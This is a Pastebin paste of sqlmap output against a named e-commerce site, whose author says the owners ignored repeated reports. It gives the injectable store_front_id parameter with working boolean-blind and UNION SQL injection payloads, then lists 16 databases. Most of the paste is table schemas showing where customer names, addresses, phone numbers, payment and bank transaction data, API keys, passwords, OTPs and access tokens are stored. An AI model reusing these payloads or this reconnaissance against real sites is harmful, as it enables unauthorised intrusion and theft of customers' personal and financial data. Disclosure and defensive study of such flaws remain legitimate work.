Advertisement
Guest User

ASKMEBAZAAR.COM Database Dump: SQLMAP Report

a guest
Mar 31st, 2015
879
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 93.30 KB | None | 0 0
  1. "ASKMEBAZAAR.COM Database: SQLMAP Report"
  2. I have contacted them 2-3 times to fix this bug, but they haven't responded yet. It seems they don't care about their website security.
  3. _______________________________________________________________________________________________________________________________
  4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5.  
  6. sqlmap identified the following injection points with a total of 68 HTTP(s) requests:
  7. ---
  8. Parameter: store_front_id (GET)
  9. Type: boolean-based blind
  10. Title: AND boolean-based blind - WHERE or HAVING clause
  11. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  12.  
  13. Type: UNION query
  14. Title: MySQL UNION query (NULL) - 8 columns
  15. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  16. ---
  17. back-end DBMS: MySQL >= 5.0.0
  18. available databases [16]:
  19. [*] amb_tracker
  20. [*] amborders
  21. [*] banner_mgt
  22. [*] information_schema
  23. [*] innodb
  24. [*] lead_to_order
  25. [*] lms
  26. [*] lms_qa
  27. [*] mpdm
  28. [*] mpdm2
  29. [*] mpdm3
  30. [*] mpdm_1404
  31. [*] mysql
  32. [*] orders
  33. [*] performance_schema
  34. [*] tmp
  35.  
  36. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  37. ---
  38. Parameter: store_front_id (GET)
  39. Type: boolean-based blind
  40. Title: AND boolean-based blind - WHERE or HAVING clause
  41. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  42.  
  43. Type: UNION query
  44. Title: MySQL UNION query (NULL) - 8 columns
  45. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  46. ---
  47. back-end DBMS: MySQL 5
  48. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  49. ---
  50. Parameter: store_front_id (GET)
  51. Type: boolean-based blind
  52. Title: AND boolean-based blind - WHERE or HAVING clause
  53. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  54.  
  55. Type: UNION query
  56. Title: MySQL UNION query (NULL) - 8 columns
  57. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  58. ---
  59. back-end DBMS: MySQL 5
  60. Database: mpdm
  61. Table: subscribed_product
  62. [21 columns]
  63. +-----------------------------+------------------------+
  64. | Column | Type |
  65. +-----------------------------+------------------------+
  66. | base_product_id | int(10) unsigned |
  67. | checkout_url | varchar(2083) |
  68. | created_date | timestamp |
  69. | getit_subscribed_product_id | int(10) unsigned |
  70. | height | decimal(10,4) unsigned |
  71. | is_cod | tinyint(2) |
  72. | is_deleted | smallint(6) |
  73. | length | decimal(10,4) unsigned |
  74. | modified_date | timestamp |
  75. | prompt | smallint(6) |
  76. | prompt_key | varchar(100) |
  77. | quantity | int(11) |
  78. | sku | varchar(128) |
  79. | status | tinyint(1) |
  80. | store_id | int(10) unsigned |
  81. | store_offer_price | decimal(12,4) |
  82. | store_price | decimal(12,4) |
  83. | subscribed_product_id | int(10) unsigned |
  84. | warranty | varchar(100) |
  85. | weight | decimal(10,4) unsigned |
  86. | width | decimal(10,4) unsigned |
  87. +-----------------------------+------------------------+
  88.  
  89. Database: mpdm
  90. Table: storefront_fbpage_mapping
  91. [7 columns]
  92. +----------------+--------------+
  93. | Column | Type |
  94. +----------------+--------------+
  95. | access_token | text |
  96. | created_on | datetime |
  97. | ip_address | varchar(255) |
  98. | modify_on | datetime |
  99. | page_id | varchar(40) |
  100. | page_name | varchar(255) |
  101. | store_front_id | int(11) |
  102. +----------------+--------------+
  103.  
  104. Database: mpdm
  105. Table: withfloats_back_log
  106. [2 columns]
  107. +-----------------------+------------------+
  108. | Column | Type |
  109. +-----------------------+------------------+
  110. | is_deleted | smallint(6) |
  111. | subscribed_product_id | int(10) unsigned |
  112. +-----------------------+------------------+
  113.  
  114. Database: mpdm
  115. Table: campaign
  116. [6 columns]
  117. +----------------+---------------+
  118. | Column | Type |
  119. +----------------+---------------+
  120. | active | enum('1','0') |
  121. | campaign_id | int(11) |
  122. | campaign_name | varchar(254) |
  123. | enddate | datetime |
  124. | startdate | datetime |
  125. | store_front_id | int(11) |
  126. +----------------+---------------+
  127.  
  128. Database: mpdm
  129. Table: withfloats_stores
  130. [9 columns]
  131. +---------------+-------------+
  132. | Column | Type |
  133. +---------------+-------------+
  134. | autoId | int(11) |
  135. | created_date | datetime |
  136. | fp | varchar(80) |
  137. | fp_tag | varchar(80) |
  138. | mobile | bigint(10) |
  139. | modified_date | timestamp |
  140. | response | text |
  141. | status | tinyint(4) |
  142. | store_id | varchar(11) |
  143. +---------------+-------------+
  144.  
  145. Database: mpdm
  146. Table: coupon
  147. [13 columns]
  148. +------------------------+-------------------+
  149. | Column | Type |
  150. +------------------------+-------------------+
  151. | condition | enum('any','all') |
  152. | coupon_code | varchar(20) |
  153. | coupon_id | int(11) |
  154. | coupon_prefix | varchar(8) |
  155. | coupon_text | varchar(256) |
  156. | coupons_left | int(11) |
  157. | discount_rule_id | int(11) |
  158. | end_date | datetime |
  159. | is_active | tinyint(1) |
  160. | is_distributed | int(11) |
  161. | is_multiple_redemption | tinyint(1) |
  162. | max_redemption | int(11) |
  163. | start_date | datetime |
  164. +------------------------+-------------------+
  165.  
  166. Database: mpdm
  167. Table: attribute
  168. [8 columns]
  169. +----------------+------------------+
  170. | Column | Type |
  171. +----------------+------------------+
  172. | attribute_code | varchar(45) |
  173. | attribute_id | int(10) unsigned |
  174. | attribute_name | varchar(100) |
  175. | attribute_type | varchar(45) |
  176. | created_date | timestamp |
  177. | is_deleted | smallint(6) |
  178. | is_searchable | smallint(6) |
  179. | modified_date | timestamp |
  180. +----------------+------------------+
  181.  
  182. Database: mpdm
  183. Table: rating_review
  184. [9 columns]
  185. +-----------------+-------------+
  186. | Column | Type |
  187. +-----------------+-------------+
  188. | approved | tinyint(4) |
  189. | base_product_id | int(11) |
  190. | date_added | datetime |
  191. | date_modified | timestamp |
  192. | id | int(11) |
  193. | order_id | varchar(32) |
  194. | rating | float |
  195. | review | text |
  196. | seller_id | int(11) |
  197. +-----------------+-------------+
  198.  
  199. Database: mpdm
  200. Table: giftproduct_campaign
  201. [20 columns]
  202. +--------------------+--------------+
  203. | Column | Type |
  204. +--------------------+--------------+
  205. | auto_id | int(11) |
  206. | billing_email | varchar(225) |
  207. | billing_name | varchar(225) |
  208. | billing_telephone | varchar(20) |
  209. | compain_id | int(11) |
  210. | coupon_code | varchar(225) |
  211. | coupon_id | int(11) |
  212. | coupon_prefix | varchar(225) |
  213. | created_date | timestamp |
  214. | is_mail_sent | tinyint(1) |
  215. | is_sms_sent | tinyint(1) |
  216. | merchant_order_id | varchar(255) |
  217. | modified_date | datetime |
  218. | payment_method | varchar(225) |
  219. | payment_status | varchar(225) |
  220. | refid | int(11) |
  221. | shipping_email | varchar(225) |
  222. | shipping_name | varchar(225) |
  223. | shipping_telephone | varchar(20) |
  224. | sub_order_id | int(11) |
  225. +--------------------+--------------+
  226.  
  227. Database: mpdm
  228. Table: coupon_validity_rel
  229. [2 columns]
  230. +--------------------+---------+
  231. | Column | Type |
  232. +--------------------+---------+
  233. | coupon_id | int(11) |
  234. | coupon_validity_id | int(11) |
  235. +--------------------+---------+
  236.  
  237. Database: mpdm
  238. Table: city_mapping
  239. [2 columns]
  240. +------------+-------------+
  241. | Column | Type |
  242. +------------+-------------+
  243. | autoId | int(11) |
  244. | city_label | varchar(80) |
  245. +------------+-------------+
  246.  
  247. Database: mpdm
  248. Table: vendor_vouchers
  249. [10 columns]
  250. +-----------------+-------------+
  251. | Column | Type |
  252. +-----------------+-------------+
  253. | timestamp | timestamp |
  254. | autoId | int(11) |
  255. | buyer_circle | varchar(20) |
  256. | correlationID | int(11) |
  257. | coupon_code | varchar(20) |
  258. | mobile | varchar(11) |
  259. | pincode | varchar(8) |
  260. | quantity_bought | int(11) |
  261. | refId | int(11) |
  262. | store_front_id | int(11) |
  263. +-----------------+-------------+
  264.  
  265. Database: mpdm
  266. Table: store_fbpage_mapping
  267. [7 columns]
  268. +--------------+--------------+
  269. | Column | Type |
  270. +--------------+--------------+
  271. | access_token | text |
  272. | created_on | datetime |
  273. | ip_address | varchar(255) |
  274. | modify_on | datetime |
  275. | page_id | varchar(40) |
  276. | page_name | varchar(255) |
  277. | store_id | int(11) |
  278. +--------------+--------------+
  279.  
  280. Database: mpdm
  281. Table: greatbuyz_transactions
  282. [7 columns]
  283. +-----------------+-------------+
  284. | Column | Type |
  285. +-----------------+-------------+
  286. | timestamp | timestamp |
  287. | autoId | int(11) |
  288. | correlationID | int(11) |
  289. | coupon_code | varchar(20) |
  290. | mobile | varchar(11) |
  291. | quantity_bought | int(11) |
  292. | refId | int(11) |
  293. +-----------------+-------------+
  294.  
  295. Database: mpdm
  296. Table: discount_rule
  297. [5 columns]
  298. +------------------+---------------------------------+
  299. | Column | Type |
  300. +------------------+---------------------------------+
  301. | cap | int(11) |
  302. | discount | int(11) |
  303. | discount_rule_id | int(11) |
  304. | rule_details | text |
  305. | type | enum('fix','percentage','item') |
  306. +------------------+---------------------------------+
  307.  
  308. Database: mpdm
  309. Table: final_table
  310. [24 columns]
  311. +-----------------------+---------------+
  312. | Column | Type |
  313. +-----------------------+---------------+
  314. | timestamp | timestamp |
  315. | category | varchar(255) |
  316. | checkout_price | decimal(12,4) |
  317. | coupon | varchar(50) |
  318. | coupon_text | varchar(512) |
  319. | discount | int(4) |
  320. | id | int(10) |
  321. | orderid | varchar(50) |
  322. | payment_method | varchar(15) |
  323. | price | decimal(12,4) |
  324. | product_title | varchar(255) |
  325. | qty | int(11) |
  326. | store | varchar(255) |
  327. | storefront | varchar(255) |
  328. | sub_total | float |
  329. | subscribed_product_id | int(10) |
  330. | total_discount | float |
  331. | total_paid_amount | float |
  332. | total_payable_amount | float |
  333. | user_address | varchar(255) |
  334. | user_email | varchar(255) |
  335. | user_name | varchar(255) |
  336. | user_phone | int(12) |
  337. | user_pincode | int(12) |
  338. +-----------------------+---------------+
  339.  
  340. Database: mpdm
  341. Table: category
  342. [10 columns]
  343. +--------------------+------------------+
  344. | Column | Type |
  345. +--------------------+------------------+
  346. | level | int(11) |
  347. | path | varchar(255) |
  348. | category_id | int(10) unsigned |
  349. | category_name | varchar(255) |
  350. | created_date | timestamp |
  351. | getit_category_id | int(10) unsigned |
  352. | is_deleted | smallint(6) |
  353. | is_mega_category | smallint(6) |
  354. | modified_date | timestamp |
  355. | parent_category_id | int(10) unsigned |
  356. +--------------------+------------------+
  357.  
  358. Database: mpdm
  359. Table: attribute_option
  360. [3 columns]
  361. +---------------------+------------------+
  362. | Column | Type |
  363. +---------------------+------------------+
  364. | attribute_id | int(10) unsigned |
  365. | attribute_option_id | int(10) unsigned |
  366. | option_value | varchar(255) |
  367. +---------------------+------------------+
  368.  
  369. Database: mpdm
  370. Table: lead
  371. [21 columns]
  372. +----------------------+---------------------------+
  373. | Column | Type |
  374. +----------------------+---------------------------+
  375. | size | int(11) |
  376. | balance_amount | float |
  377. | base_product_id | int(11) |
  378. | buyer_address | text |
  379. | buyer_name | varchar(100) |
  380. | buyer_phone_number | double |
  381. | buyer_pincode | int(11) |
  382. | colour | varchar(255) |
  383. | delivery_date | date |
  384. | fullfilled_seller_id | int(11) |
  385. | last_updated | datetime |
  386. | lead_cost | int(11) |
  387. | lead_id | int(11) |
  388. | order_id | varchar(100) |
  389. | payment_type | varchar(100) |
  390. | product_name | varchar(255) |
  391. | product_price | float |
  392. | product_quantity | int(11) |
  393. | seller_ids | varchar(255) |
  394. | status | enum('Open','Close','NA') |
  395. | total | float |
  396. +----------------------+---------------------------+
  397.  
  398. Database: mpdm
  399. Table: media
  400. [6 columns]
  401. +-----------------+------------------+
  402. | Column | Type |
  403. +-----------------+------------------+
  404. | base_product_id | int(10) unsigned |
  405. | is_default | smallint(6) |
  406. | media_id | int(10) unsigned |
  407. | media_type | varchar(45) |
  408. | media_url | varchar(255) |
  409. | thumb_url | varchar(255) |
  410. +-----------------+------------------+
  411.  
  412. Database: mpdm
  413. Table: daily_deals
  414. [9 columns]
  415. +-------------+--------------+
  416. | Column | Type |
  417. +-------------+--------------+
  418. | timestamp | timestamp |
  419. | autoId | int(11) |
  420. | bannerURL | varchar(255) |
  421. | coupon_code | varchar(20) |
  422. | deal_price | int(11) |
  423. | end_date | datetime |
  424. | product_id | int(11) |
  425. | start_date | datetime |
  426. | tagline | varchar(255) |
  427. +-------------+--------------+
  428.  
  429. Database: mpdm
  430. Table: device_details
  431. [9 columns]
  432. +--------------+--------------------------+
  433. | Column | Type |
  434. +--------------+--------------------------+
  435. | created_date | datetime |
  436. | device_id | text |
  437. | id | int(11) |
  438. | is_deleted | enum('0','1') |
  439. | phone_no | int(11) |
  440. | seller_id | int(11) |
  441. | services | text |
  442. | type | enum('gcm','apns','win') |
  443. | updated_date | datetime |
  444. +--------------+--------------------------+
  445.  
  446. Database: mpdm
  447. Table: coupon_validity_rule
  448. [3 columns]
  449. +-----------+------------+
  450. | Column | Type |
  451. +-----------+------------+
  452. | condition | text |
  453. | is_active | tinyint(1) |
  454. | rule_id | int(11) |
  455. +-----------+------------+
  456.  
  457. Database: mpdm
  458. Table: api_session
  459. [3 columns]
  460. +----------------+------------------+
  461. | Column | Type |
  462. +----------------+------------------+
  463. | logdate | timestamp |
  464. | session_id | varchar(45) |
  465. | store_front_id | int(10) unsigned |
  466. +----------------+------------------+
  467.  
  468. Database: mpdm
  469. Table: product_attribute_mapping
  470. [3 columns]
  471. +-----------------+------------------+
  472. | Column | Type |
  473. +-----------------+------------------+
  474. | value | varchar(255) |
  475. | attribute_id | int(10) unsigned |
  476. | base_product_id | int(10) unsigned |
  477. +-----------------+------------------+
  478.  
  479. Database: mpdm
  480. Table: order_product
  481. [11 columns]
  482. +-----------------------+----------------------+
  483. | Column | Type |
  484. +-----------------------+----------------------+
  485. | discount | float |
  486. | discount_qty | int(11) |
  487. | discount_type | enum('price','item') |
  488. | discounted_price | float |
  489. | id | int(11) |
  490. | order_id | int(11) |
  491. | price | float |
  492. | product_name | varchar(256) |
  493. | qty | int(11) |
  494. | subscribed_product_id | int(11) |
  495. | total_price | float |
  496. +-----------------------+----------------------+
  497.  
  498. Database: mpdm
  499. Table: withfloats_products
  500. [10 columns]
  501. +---------------+--------------+
  502. | Column | Type |
  503. +---------------+--------------+
  504. | autoId | int(11) |
  505. | created_date | datetime |
  506. | discount | double |
  507. | fp | varchar(80) |
  508. | isDeleted | int(1) |
  509. | modified_date | timestamp |
  510. | price | double |
  511. | product_id | varchar(11) |
  512. | product_name | varchar(255) |
  513. | store_fp_tag | varchar(80) |
  514. +---------------+--------------+
  515.  
  516. Database: mpdm
  517. Table: store
  518. [37 columns]
  519. +--------------------------+------------------+
  520. | Column | Type |
  521. +--------------------------+------------------+
  522. | business_address | varchar(300) |
  523. | business_address_city | varchar(100) |
  524. | business_address_country | varchar(100) |
  525. | business_address_pincode | varchar(100) |
  526. | business_address_state | varchar(100) |
  527. | buyer_mailer_flag | int(1) |
  528. | channel_id | varchar(255) |
  529. | channel_name | varchar(255) |
  530. | chat_id | varchar(45) |
  531. | created_date | timestamp |
  532. | customer_value | decimal(12,4) |
  533. | email | varchar(255) |
  534. | getit_store_id | int(10) unsigned |
  535. | is_deleted | smallint(6) |
  536. | is_tagline | tinyint(1) |
  537. | meta_description | varchar(150) |
  538. | meta_keywords | varchar(255) |
  539. | meta_title | varchar(150) |
  540. | mobile_numbers | varchar(100) |
  541. | modified_date | timestamp |
  542. | order_prefix | varchar(11) |
  543. | redirect_url | text |
  544. | seller_mailer_flag | int(1) |
  545. | seller_name | varchar(255) |
  546. | status | tinyint(1) |
  547. | store_api_key | varchar(100) |
  548. | store_api_password | varchar(100) |
  549. | store_code | varchar(255) |
  550. | store_details | text |
  551. | store_id | int(10) unsigned |
  552. | store_logo | varchar(255) |
  553. | store_name | varchar(255) |
  554. | tagline | varchar(256) |
  555. | telephone_numbers | varchar(100) |
  556. | visible | smallint(6) |
  557. | vtiger_accountid | int(11) |
  558. | vtiger_status | tinyint(1) |
  559. +--------------------------+------------------+
  560.  
  561. Database: mpdm
  562. Table: unbxd_hit_count
  563. [3 columns]
  564. +--------+---------+
  565. | Column | Type |
  566. +--------+---------+
  567. | count | int(11) |
  568. | date | date |
  569. | id | int(11) |
  570. +--------+---------+
  571.  
  572. Database: mpdm
  573. Table: sync_log
  574. [2 columns]
  575. +----------------+-------------+
  576. | Column | Type |
  577. +----------------+-------------+
  578. | last_sync_date | timestamp |
  579. | type | varchar(50) |
  580. +----------------+-------------+
  581.  
  582. Database: mpdm
  583. Table: sessions
  584. [3 columns]
  585. +--------+----------+
  586. | Column | Type |
  587. +--------+----------+
  588. | data | longblob |
  589. | expire | int(11) |
  590. | id | char(32) |
  591. +--------+----------+
  592.  
  593. Database: mpdm
  594. Table: vendor_deals
  595. [19 columns]
  596. +-----------------------+--------------+
  597. | Column | Type |
  598. +-----------------------+--------------+
  599. | redeem text | varchar(256) |
  600. | actual_price | int(11) |
  601. | autoId | int(11) |
  602. | availability | int(11) |
  603. | category | varchar(50) |
  604. | deal_description | varchar(256) |
  605. | deal_name | varchar(256) |
  606. | deal_summary | varchar(256) |
  607. | discount | int(11) |
  608. | expires | datetime |
  609. | last_updated | datetime |
  610. | listed | datetime |
  611. | mode | varchar(11) |
  612. | offer_price | int(11) |
  613. | refId | int(11) |
  614. | store_front_id | int(11) |
  615. | subscribed_product_id | int(10) |
  616. | tag | varchar(256) |
  617. | voucher_price | int(11) |
  618. +-----------------------+--------------+
  619.  
  620. Database: mpdm
  621. Table: product_category_mapping
  622. [2 columns]
  623. +-----------------+------------------+
  624. | Column | Type |
  625. +-----------------+------------------+
  626. | base_product_id | int(10) unsigned |
  627. | category_id | int(10) unsigned |
  628. +-----------------+------------------+
  629.  
  630. Database: mpdm
  631. Table: logging
  632. [6 columns]
  633. +---------+------------------+
  634. | Column | Type |
  635. +---------+------------------+
  636. | date | timestamp |
  637. | data | text |
  638. | entity | varchar(50) |
  639. | log_id | int(10) unsigned |
  640. | type | varchar(50) |
  641. | user_id | varchar(255) |
  642. +---------+------------------+
  643.  
  644. Database: mpdm
  645. Table: tbl_pincode_new_bk
  646. [9 columns]
  647. +----------------+--------------+
  648. | Column | Type |
  649. +----------------+--------------+
  650. | city | varchar(100) |
  651. | cod | varchar(3) |
  652. | created_date | timestamp |
  653. | id | int(11) |
  654. | is_serviceable | int(11) |
  655. | ndd | int(11) |
  656. | pin_code | varchar(6) |
  657. | prepaid | int(1) |
  658. | state | varchar(100) |
  659. +----------------+--------------+
  660.  
  661. Database: mpdm
  662. Table: temp_product_list
  663. [5 columns]
  664. +----------+--------------+
  665. | Column | Type |
  666. +----------+--------------+
  667. | id | int(11) |
  668. | name | text |
  669. | pro_name | varchar(255) |
  670. | status | int(11) |
  671. | store_id | varchar(255) |
  672. +----------+--------------+
  673.  
  674. Database: mpdm
  675. Table: now_floats
  676. [7 columns]
  677. +-----------------+--------------+
  678. | Column | Type |
  679. +-----------------+--------------+
  680. | CreatedDate | timestamp |
  681. | CustomerContact | varchar(225) |
  682. | CustomerEmail | varchar(225) |
  683. | CustomerQuery | text |
  684. | id | int(11) |
  685. | Nowfloats_id | varchar(255) |
  686. | Seller_id | varchar(255) |
  687. +-----------------+--------------+
  688.  
  689. Database: mpdm
  690. Table: solr_back_log
  691. [2 columns]
  692. +-----------------------+------------------+
  693. | Column | Type |
  694. +-----------------------+------------------+
  695. | is_deleted | smallint(6) |
  696. | subscribed_product_id | int(10) unsigned |
  697. +-----------------------+------------------+
  698.  
  699. Database: mpdm
  700. Table: youtube_campaign_data
  701. [9 columns]
  702. +---------------+--------------+
  703. | Column | Type |
  704. +---------------+--------------+
  705. | coupon_code | varchar(100) |
  706. | coupon_id | varchar(100) |
  707. | created_date | datetime |
  708. | id | int(11) |
  709. | mobile | varchar(50) |
  710. | modified_date | datetime |
  711. | name | varchar(100) |
  712. | pincode | varchar(50) |
  713. | status | tinyint(1) |
  714. +---------------+--------------+
  715.  
  716. Database: mpdm
  717. Table: coupon_bak
  718. [11 columns]
  719. +------------------------+-------------------+
  720. | Column | Type |
  721. +------------------------+-------------------+
  722. | condition | enum('any','all') |
  723. | coupon_code | varchar(20) |
  724. | coupon_id | int(11) |
  725. | coupon_prefix | varchar(5) |
  726. | coupon_text | varchar(512) |
  727. | discount_rule_id | int(11) |
  728. | end_date | datetime |
  729. | is_active | tinyint(1) |
  730. | is_multiple_redemption | tinyint(1) |
  731. | max_redemption | int(11) |
  732. | start_date | datetime |
  733. +------------------------+-------------------+
  734.  
  735. Database: mpdm
  736. Table: store_front
  737. [16 columns]
  738. +--------------------------+------------------+
  739. | Column | Type |
  740. +--------------------------+------------------+
  741. | buyer_mailer_flag | int(1) |
  742. | created_date | timestamp |
  743. | is_deleted | smallint(6) |
  744. | is_tagline | tinyint(1) |
  745. | modified_date | timestamp |
  746. | order_prefix | varchar(11) |
  747. | parent_id | int(11) |
  748. | redirect_url | text |
  749. | seller_mailer_flag | int(1) |
  750. | store_front_api_key | varchar(100) |
  751. | store_front_api_password | varchar(100) |
  752. | store_front_api_token | varchar(100) |
  753. | store_front_id | int(10) unsigned |
  754. | store_front_name | varchar(255) |
  755. | tagline | varchar(255) |
  756. | vendor_coupon_prefix | varchar(10) |
  757. +--------------------------+------------------+
  758.  
  759. Database: mpdm
  760. Table: order
  761. [34 columns]
  762. +----------------------+---------------------------------------------+
  763. | Column | Type |
  764. +----------------------+---------------------------------------------+
  765. | bank_transaction_id | varchar(50) |
  766. | bankname | varchar(50) |
  767. | billing_address | text |
  768. | billing_city_id | varchar(100) |
  769. | billing_name | varchar(256) |
  770. | billing_pincode | int(11) |
  771. | billing_state_id | varchar(100) |
  772. | coupon_code | varchar(20) |
  773. | coupon_text | varchar(512) |
  774. | created_at | timestamp |
  775. | gateway_name | varchar(50) |
  776. | is_processed | tinyint(1) |
  777. | order_id | int(11) |
  778. | order_num | varchar(15) |
  779. | order_prefix | varchar(5) |
  780. | payment_method | enum('cod','paytm','prepay','tpsl','tbd') |
  781. | payment_mod | varchar(50) |
  782. | payment_status | enum('pending','paid','cod','partial_paid') |
  783. | shipping_address | text |
  784. | shipping_city_id | varchar(100) |
  785. | shipping_name | varchar(256) |
  786. | shipping_phone | varchar(20) |
  787. | shipping_pincode | int(11) |
  788. | shipping_state_id | varchar(100) |
  789. | status | enum('pending','completed') |
  790. | sub_total | float |
  791. | total_discount | float |
  792. | total_paid_amount | float |
  793. | total_payable_amount | float |
  794. | transaction_id | varchar(50) |
  795. | transaction_time | datetime |
  796. | user_email | varchar(256) |
  797. | user_name | varchar(256) |
  798. | user_phone | varchar(20) |
  799. +----------------------+---------------------------------------------+
  800.  
  801. Database: mpdm
  802. Table: otp_generate
  803. [9 columns]
  804. +--------------+--------------+
  805. | Column | Type |
  806. +--------------+--------------+
  807. | counter | int(11) |
  808. | created_date | datetime |
  809. | expire_date | datetime |
  810. | id | int(11) |
  811. | is_status | tinyint(1) |
  812. | mobile | bigint(20) |
  813. | otp_pass | varchar(225) |
  814. | status | tinyint(1) |
  815. | total_cunter | int(11) |
  816. +--------------+--------------+
  817.  
  818. Database: mpdm
  819. Table: product_frontend_mapping
  820. [2 columns]
  821. +-----------------------+------------------+
  822. | Column | Type |
  823. +-----------------------+------------------+
  824. | store_front_id | int(10) unsigned |
  825. | subscribed_product_id | int(10) unsigned |
  826. +-----------------------+------------------+
  827.  
  828. Database: mpdm
  829. Table: tbl_pincode_new
  830. [9 columns]
  831. +----------------+--------------+
  832. | Column | Type |
  833. +----------------+--------------+
  834. | city | varchar(100) |
  835. | cod | varchar(3) |
  836. | created_date | timestamp |
  837. | id | int(11) |
  838. | is_serviceable | int(11) |
  839. | ndd | int(11) |
  840. | pin_code | varchar(6) |
  841. | prepaid | int(1) |
  842. | state | varchar(100) |
  843. +----------------+--------------+
  844.  
  845. Database: mpdm
  846. Table: gcm_data
  847. [4 columns]
  848. +--------------+--------------+
  849. | Column | Type |
  850. +--------------+--------------+
  851. | android_id | varchar(100) |
  852. | gcm_id | varchar(512) |
  853. | id | int(11) |
  854. | package_name | varchar(30) |
  855. +--------------+--------------+
  856.  
  857. Database: mpdm
  858. Table: base_product
  859. [29 columns]
  860. +-----------------------+------------------------+
  861. | Column | Type |
  862. +-----------------------+------------------------+
  863. | size | varchar(255) |
  864. | average_rating | int(11) |
  865. | base_product_id | int(10) unsigned |
  866. | brand | varchar(255) |
  867. | campaign_id | int(11) |
  868. | color | varchar(255) |
  869. | configurable_with | text |
  870. | created_date | timestamp |
  871. | description | text |
  872. | getit_base_product_id | int(10) unsigned |
  873. | is_configurable | smallint(6) |
  874. | is_deleted | smallint(6) |
  875. | is_serial_required | tinyint(4) |
  876. | key_features | text |
  877. | manufacture | varchar(255) |
  878. | manufacture_country | varchar(100) |
  879. | manufacture_year | int(11) |
  880. | meta_description | varchar(150) |
  881. | meta_keyword | varchar(255) |
  882. | meta_title | varchar(150) |
  883. | model_name | varchar(255) |
  884. | model_number | varchar(255) |
  885. | modified_date | timestamp |
  886. | other_website_rating | int(11) |
  887. | product_weight | decimal(12,4) unsigned |
  888. | small_description | text |
  889. | specifications | text |
  890. | status | tinyint(1) |
  891. | title | varchar(255) |
  892. +-----------------------+------------------------+
  893.  
  894. Database: mpdm
  895. Table: withfloats_stores_old
  896. [6 columns]
  897. +---------------+-------------+
  898. | Column | Type |
  899. +---------------+-------------+
  900. | autoId | int(11) |
  901. | created_date | datetime |
  902. | fp | varchar(80) |
  903. | fp_tag | varchar(80) |
  904. | modified_date | timestamp |
  905. | store_id | varchar(11) |
  906. +---------------+-------------+
  907.  
  908. Database: mpdm
  909. Table: greatbuyz_deals
  910. [18 columns]
  911. +-----------------------+--------------+
  912. | Column | Type |
  913. +-----------------------+--------------+
  914. | redeem text | varchar(256) |
  915. | actual_price | int(11) |
  916. | autoId | int(11) |
  917. | availability | int(11) |
  918. | category | varchar(50) |
  919. | deal_description | varchar(256) |
  920. | deal_name | varchar(256) |
  921. | deal_summary | varchar(256) |
  922. | discount | int(11) |
  923. | expires | datetime |
  924. | last_updated | datetime |
  925. | listed | datetime |
  926. | mode | varchar(11) |
  927. | offer_price | int(11) |
  928. | refId | int(11) |
  929. | subscribed_product_id | int(10) |
  930. | tag | varchar(256) |
  931. | voucher_price | int(11) |
  932. +-----------------------+--------------+
  933.  
  934. sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
  935. ---
  936. Parameter: store_front_id (GET)
  937. Type: boolean-based blind
  938. Title: AND boolean-based blind - WHERE or HAVING clause
  939. Payload: store_front_id=68) AND 2298=2298 AND (4067=4067
  940.  
  941. Type: UNION query
  942. Title: MySQL UNION query (NULL) - 8 columns
  943. Payload: store_front_id=-5219) UNION ALL SELECT NULL,CONCAT(0x7171706a71,0x425843757168536e4a78,0x7178626a71),NULL,NULL,NULL,NULL,NULL,NULL#
  944. ---
  945. back-end DBMS: MySQL 5
  946. Database: amborders
  947. Table: amb_order_details
  948. [19 columns]
  949. +-------------------+--------------+
  950. | Column | Type |
  951. +-------------------+--------------+
  952. | base_product_id | int(10) |
  953. | date_created | timestamp |
  954. | id | int(10) |
  955. | orders_id | int(10) |
  956. | product_color | varchar(255) |
  957. | product_name | varchar(255) |
  958. | product_qty | int(11) |
  959. | product_size | varchar(255) |
  960. | product_total | float(10,2) |
  961. | seller_address | varchar(255) |
  962. | seller_city | varchar(100) |
  963. | seller_name | varchar(255) |
  964. | seller_phone | varchar(100) |
  965. | seller_pin_code | varchar(11) |
  966. | seller_state | varchar(100) |
  967. | store_email | varchar(255) |
  968. | store_id | int(11) |
  969. | store_name | varchar(255) |
  970. | store_offer_price | float(10,2) |
  971. +-------------------+--------------+
  972.  
  973. Database: amborders
  974. Table: amb_orders
  975. [45 columns]
  976. +-----------------------+----------------------------------------------------------------------------------------------+
  977. | Column | Type |
  978. +-----------------------+----------------------------------------------------------------------------------------------+
  979. | amb_order_id | varchar(255) |
  980. | bank_transaction_id | varchar(50) |
  981. | bankname | varchar(50) |
  982. | billing_address | varchar(2000) |
  983. | billing_city | varchar(100) |
  984. | billing_email | varchar(200) |
  985. | billing_name | varchar(255) |
  986. | billing_phone | varchar(20) |
  987. | billing_pincode | varchar(11) |
  988. | billing_state | varchar(100) |
  989. | coupon_code | varchar(20) |
  990. | cron_processed_flag | varchar(1) |
  991. | date_created | timestamp |
  992. | date_updated | datetime |
  993. | discount_amt | double |
  994. | error_flag | tinyint(1) |
  995. | error_messages | varchar(2000) |
  996. | id | int(10) |
  997. | merchant_order_id | varchar(255) |
  998. | order_logs_id | int(11) |
  999. | order_source | varchar(200) |
  1000. | order_total | float(10,2) |
  1001. | payment_gateway_name | varchar(100) |
  1002. | payment_method | enum('cod','paytm','tpsl','prepay','tbd','paas','pay_later','pay_now','Pay Later','Pay Now') |
  1003. | payment_mod | varchar(50) |
  1004. | payment_received_flag | tinyint(4) |
  1005. | payment_ref_id | varchar(30) |
  1006. | payment_source | varchar(15) |
  1007. | payment_status | enum('Pending','paid','cod','partial_paid','Success','Failed') |
